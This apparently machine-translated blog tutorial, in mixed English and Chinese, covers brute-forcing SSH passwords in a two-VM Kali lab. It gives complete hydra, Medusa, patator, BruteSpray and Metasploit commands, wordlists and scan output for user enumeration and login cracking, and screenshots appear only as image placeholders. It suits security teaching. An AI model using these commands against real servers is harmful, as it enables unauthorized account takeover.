SSH password brute force cracking and defense actual combat-attack

1. Experimental environment

Prepare a virtual machine equipped with kali and a virtual machine with an open ssh port
. The brute force cracking in it is all using the software that comes with kali.

kali        		192.168.13.145       #装有kali的虚拟机
localhost		192.168.13.128       #被破解的虚拟机
首先我们去192.168.13.128 上面创建用户并设置密码以供测试
[root@localhost ~]# useradd yjssjm
[root@localhost ~]# passwd yjssjm
更改用户 yjssjm 的密码 。
新的 密码:
无效的密码: 密码少于 8 个字符
重新输入新的 密码:
passwd:所有的身份验证令牌已经成功更新。
用户名 yjssjm  密码123

2. hydra [Hydra]

Insert picture description here

hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被
破解关键取决 于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

Specify a single user and password

root@kali:~# hydra -l root -p 1 192.168.13.128 ssh
-l (小写l)			指定用户
-p(小写p) 			指定密码

Insert picture description here
User list cracking
Specifying individual users and passwords one by one is more troublesome. Why do we create some files with user names and passwords to specify the files.

root@kali:~# vim userlist.txt 
root
yjssjm
admin
test
root@kali:~# vim passwdlist.txt 
1
12
123
1234
yjssjm
root@kali:~# hydra -L userlist.txt -P passwdlist.txt -t 20 192.168.13.128 ssh
-L(大写L) 指定用户列表
-P(大写P) 指定密码列表
-t 指定线程数
root@kali:~# vim hostlist.txt    #创建主机列表
192.168.13.128
root@kali:~# hydra -L userlist.txt -P passwdlist.txt -M hostlist.txt ssh -o ssh-hydra.ok
-M 指定主机列表

Insert picture description here

3. Medusa [Medusa]

Insert picture description here

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行
强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 
要好很多,但其支持模块要比 hydra 少一些。

Syntax parameters

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] 
-h 	[TEXT] 目标主机名称或者IP地址 
-H 	[FILE] 包含目标主机名称或者IP地址文件 
-u	 	[TEXT] 测试的用户名 -U [FILE] 包含测试的用户名文件 
-p		[TEXT] 测试的密码 
-P 	[FILE] 包含测试的密码文件 
-C 	[FILE] 组合条目文件 
-O 	[FILE] 日志信息文件 
-e 	[n/s/ns] n代表空密码,s代表为密码与用户名相同 
-M 	[TEXT] 模块执行名称 
-m 	[TEXT] 传递参数到模块 
-d 	显示所有的模块名称 
-n 	[NUM] 使用非默认Tcp端口 
-s 	启用SSL 
-r 		[NUM] 重试间隔时间,默认为3秒 
-t 		[NUM] 设定线程数量
-T 	同时测试的主机总数 
-L 	并行化,每个用户使用一个线程 
-f 		在任何主机上找到第一个账号/密码后,停止破解 
-F 	在任何主机上找到第一个有效的用户名/密码后停止审计 
-q 	显示模块的使用信息 
-v 	[NUM] 详细级别(0-6) 
-w 	[NUM] 错误调试级别(0-10) 
-V 	显示版本 
-Z 	[TEXT] 继续扫描上一次

Commonly used parameters

root@kali:~# medusa -M ssh -h 192.168.13.128 -u root -P passwdlist.txt
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passwdlist.txt

Insert picture description here

root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passwdlist.txt -F   #成功就停止
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passwdlist.txt -O ssh.log   #日志

Insert picture description here

4.patator

Patator, a powerful command-line brute force cracker
1. Available modules
Insert picture description here
2. Usage
Insert picture description here
3. Examples

root@kali:~# patator ssh_login host=192.168.13.128 user=root password=FILE0 0=passwdlist.txt
root@kali:~# patator ssh_login host=192.168.13.128 user=root password=FILE0 0=passwdlist.txt -x ignore:mesg='Authentication failed.'    #忽略失败的信息
这里面FILE是必须写的,但是后面的阿拉伯数字是任意的,但是要对应。如:
password=FILE2 2=passwdlist.txt      相当于password=passwdlist.txt 的意思
root@kali:~# patator ssh_login host=192.168.13.128 user=FILE1 1=userlist.txt password=FILE0 0=passwdlist.txt -x ignore:mesg='Authentication failed.' 

Insert picture description here

5.BrutesPray

BruteSpray is a gnmap / XML file based on nmap scan output. It automatically calls Medusa to blast the service (Medusa is a port blasting tool, which is faster than Hydra Hydra).

因为不是kali自带的,所以我们需要安装。安装时间很长----
root@kali:~# apt-get update 
root@kali:~# apt-get install brutespray

Important parameters

-f FILE, --file FILE 参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件 
-o OUTPUT, --output OUTPUT 包含成功尝试的目录 
-s SERVICE, --service SERVICE 参数后跟一个服务名, 指定要攻击的服务 
-t THREADS, --threads THREADS 参数后跟一数值,指定medusa线程数 
-T HOSTS, --hosts HOSTS 参数后跟一数值,指定同时测试的主机数 
-U USERLIST, --userlist USERLIST 参数后跟用户字典文件 
-P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件 
-u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破 
-p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破 
-c, --continuous 成功之后继续爆破 
-i, --interactive 交互模式

6.MSF

Metasploit Framework (abbreviated as MSF) is a perfect environment for writing, testing and using exploit code. This environment provides a reliable platform for penetration testing, shellcode writing, and vulnerability research. This framework is mainly written in the object-oriented Perl programming language, with optional components written in C, assembler, and Python.

root@kali:~# msfconsole   #启动msf
msf > search ssh       #调用ssh模块
#上面两步可能需要几分钟等待,不要着急

1.SSH用户枚举
msf > use auxiliary/scanner/ssh/ssh_enumusers     #ssh枚举的指令
msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.13.128    #指定主机
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt   #指定用户列表文件
msf auxiliary(scanner/ssh/ssh_enumusers) > run  #自动执行
[*] 192.168.13.128:22 - SSH - Checking for false positives
[*] 192.168.13.128:22 - SSH - Starting scan
[+] 192.168.13.128:22 - SSH - User 'root' found
[+] 192.168.13.128:22 - SSH - User 'yjssjm' found
[-] 192.168.13.128:22 - SSH - User 'admin' not found
[-] 192.168.13.128:22 - SSH - User 'test' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

2. SSH版本探测
msf auxiliary(scanner/ssh/ssh_enumusers) > use auxiliary/scanner/ssh/ssh_version 
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.13.128
msf auxiliary(scanner/ssh/ssh_version) > run

[+] 192.168.13.128:22     - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.protocol=ssh fingerprint_db=ssh.banner )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

3 SSH 暴力破解
msf auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_login 
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.13.128
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt 
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passwdlist.txt 
msf auxiliary(scanner/ssh/ssh_login) > run

Insert picture description here

Published 49 original articles · Liked 139 · Visits 30,000+

Guess you like

Origin blog.csdn.net/baidu_38803985/article/details/105472577